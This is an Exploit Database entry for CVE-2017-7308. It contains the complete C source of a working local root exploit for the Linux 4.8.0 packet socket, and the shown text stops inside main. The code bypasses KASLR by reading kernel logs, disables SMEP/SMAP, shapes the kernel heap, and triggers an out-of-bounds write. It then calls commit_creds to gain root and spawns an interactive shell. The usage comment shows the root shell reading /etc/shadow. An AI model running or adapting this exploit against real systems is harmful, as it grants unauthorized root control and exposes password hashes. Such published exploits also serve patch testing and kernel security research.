Linux Kernel 4.8.0 - Packet Socket Local root Privilege Escalation

EDB-ID: 41994
Author: Andrey Konovalov
Published: 2017-05-11
CVE: CVE-2017-7308
Type: Local
Platform: Linux
Aliases: N/A
Advisory/Source: Link
Tags: Local
Vulnerable App: N/A

 // Includes a SMEP & SMAP bypass. 
// Tested on 4.8.0-41-generic Ubuntu kernel.
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn
// [.] starting
// [.] namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [.] done, kernel text: ffffffff87000000
// [.] commit_creds: ffffffff870a5cf0
// [.] prepare_kernel_cred: ffffffff870a60e0
// [.] native_write_cr4: ffffffff87064210
// [.] padding heap
// [.] done, heap is padded
// [.] SMEP & SMAP bypass enabled, turning them off
// [.] done, SMEP & SMAP should be off now
// [.] executing get root payload 0x401516
// [.] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>

#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <netinet/if_ether.h>
#include <net/if.h>

#define ENABLE_KASLR_BYPASS 1
#define ENABLE_SMEP_SMAP_BYPASS 1

// Will be overwritten if ENABLE_KASLR_BYPASS
unsigned long KERNEL_BASE = 0xffffffff81000000ul;

// Kernel symbol offsets
#define COMMIT_CREDS 0xa5cf0ul
#define PREPARE_KERNEL_CRED 0xa60e0ul
#define NATIVE_WRITE_CR4 0x64210ul

// Should have SMEP and SMAP bits disabled
#define CR4_DESIRED_VALUE 0x407f0ul

#define KMALLOC_PAD 512
#define PAGEALLOC_PAD 1024

// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *

typedef uint32_t u32;

// $ pahole -C hlist_node ./vmlinux
struct hlist_node {
struct hlist_node * next; /* 0 8 */
struct hlist_node * * pprev; /* 8 8 */
};

// $ pahole -C timer_list ./vmlinux
struct timer_list {
struct hlist_node entry; /* 0 16 */
long unsigned int expires; /* 16 8 */
void (*function)(long unsigned int); /* 24 8 */
long unsigned int data; /* 32 8 */
u32 flags; /* 40 4 */
int start_pid; /* 44 4 */
void * start_site; /* 48 8 */
char start_comm[16]; /* 56 16 */
};

// packet_sock->rx_ring->prb_bdqc->retire_blk_timer
#define TIMER_OFFSET 896

// pakcet_sock->xmit
#define XMIT_OFFSET 1304

// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *

void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) {
perror("[-] setsockopt(PACKET_VERSION)");
exit(EXIT_FAILURE);
}

struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;

rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) {
perror("[-] setsockopt(PACKET_RX_RING)");
exit(EXIT_FAILURE);
}
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
perror("[-] socket(AF_PACKET)");
exit(EXIT_FAILURE);
}

packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
sizeof_priv, timeout);

struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;

int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) {
perror("[-] bind(AF_PACKET)");
exit(EXIT_FAILURE);
}

return s;
}

void packet_socket_send(int s, char *buffer, int size) {
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_halen = ETH_ALEN;

if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
sizeof(sa)) < 0) {
perror("[-] sendto(SOCK_RAW)");
exit(EXIT_FAILURE);
}
}

void loopback_send(char *buffer, int size) {
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (s == -1) {
perror("[-] socket(SOCK_RAW)");
exit(EXIT_FAILURE);
}

packet_socket_send(s, buffer, size);
}

int packet_sock_kmalloc() {
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (s == -1) {
perror("[-] socket(SOCK_DGRAM)");
exit(EXIT_FAILURE);
}
return s;
}

void packet_sock_timer_schedule(int s, int timeout) {
packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
}

void packet_sock_id_match_trigger(int s) {
char buffer[16];
packet_socket_send(s, &buffer[0], sizeof(buffer));
}

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

#define ALIGN(x, a) __ALIGN_KERNEL((x), (a))
#define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
#define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))

#define V3_ALIGNMENT (8)
#define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))

#define ETH_HDR_LEN sizeof(struct ethhdr)
#define IP_HDR_LEN sizeof(struct iphdr)
#define UDP_HDR_LEN sizeof(struct udphdr)

#define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)

int oob_setup(int offset) {
unsigned int maclen = ETH_HDR_LEN;
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
(maclen < 16 ? 16 : maclen));
unsigned int macoff = netoff - maclen;
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
0x8000 - BLK_HDR_LEN - macoff + offset;
return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}

void oob_write(char *buffer, int size) {
loopback_send(buffer, size);
}

void oob_timer_execute(void *func, unsigned long arg) {
oob_setup(2048 + TIMER_OFFSET - 8);

int i;
for (i = 0; i < 32; i++) {
int timer = packet_sock_kmalloc();
packet_sock_timer_schedule(timer, 1000);
}

char buffer[2048];
memset(&buffer[0], 0, sizeof(buffer));

struct timer_list *timer = (struct timer_list *)&buffer[8];
timer->function = func;
timer->data = arg;
timer->flags = 1;

oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);

sleep(1);
}

void oob_id_match_execute(void *func) {
int s = oob_setup(2048 + XMIT_OFFSET - 64);

int ps[32];

int i;
for (i = 0; i < 32; i++)
ps[i] = packet_sock_kmalloc();

char buffer[2048];
memset(&buffer[0], 0, 2048);

void **xmit = (void **)&buffer[64];
*xmit = func;

oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);

for (i = 0; i < 32; i++)
packet_sock_id_match_trigger(ps[i]);
}

// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *

void kmalloc_pad(int count) {
int i;
for (i = 0; i < count; i++)
packet_sock_kmalloc();
}

void pagealloc_pad(int count) {
packet_socket_setup(0x8000, 2048, count, 0, 100);
}

// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *

typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

void get_root_payload(void) {
((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))(
((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0)
);
}

// * * * * * * * * * * * * * Simple KASLR bypass * * * * * * * * * * * * * * *

#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10

unsigned long get_kernel_addr() {
int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (size == -1) {
perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
exit(EXIT_FAILURE);
}

size = (size / getpagesize() + 1) * getpagesize();
char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
if (size == -1) {
perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
exit(EXIT_FAILURE);
}

const char *needle1 = "Freeing SMP";
char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle1);
exit(EXIT_FAILURE);
}

for (size = 0; substr[size] != '\n'; size++);

const char *needle2 = "ffff";
substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle2);
exit(EXIT_FAILURE);
}

char *endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);

r &= 0xfffffffffff00000ul;
r -= 0x1000000ul;

return r;
}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *

void exec_shell() {
char *shell = "/bin/bash";
char *args[] = {shell, "-i", NULL};
execve(shell, args, NULL);
}

void fork_shell() {
pid_t rv;

rv = fork();
if (rv == -1) {
perror("[-] fork()");
exit(EXIT_FAILURE);
}

if (rv == 0) {
exec_shell();
}
}

bool is_root() {
// We can't simple check uid, since we're running inside a namespace
// with uid set to 0. Try opening /etc/shadow instead.
int fd = open("/etc/shadow", O_RDONLY);
if (fd == -1)
return false;
close(fd);
return true;
}

void check_root() {
printf("[.] checking if we got root\n");

if (!is_root()) {
printf("[-] something went wrong =(\n");
return;
}

printf("[+] got r00t ^_^\n");

// Fork and exec instead of just doing the exec to avoid potential
// memory corruptions when closing packet sockets.
fork_shell();
}

bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);

int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}

void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();

if (unshare(CLONE_NEWUSER) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}

if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}

if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}

cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("[-] sched_setaffinity()");
exit(EXIT_FAILURE);
}

if (system("/sbin/ifconfig lo up") != 0) {
perror("[-] system(/sbin/ifconfig lo up)");
exit(EXIT_FAILURE);
}
}

int main() {
printf("[.] starting\n");

setup_sandbox();

printf("[.] namespace sandbox set up\n");

#if ENABLE_KASLR_BYPASS
printf("[.] KASLR bypass enabled, getting kernel addr\n");
KERNEL_BASE = get_kernel_addr();
printf("[.] done, kernel text: %lx\n", KERNEL_BASE);
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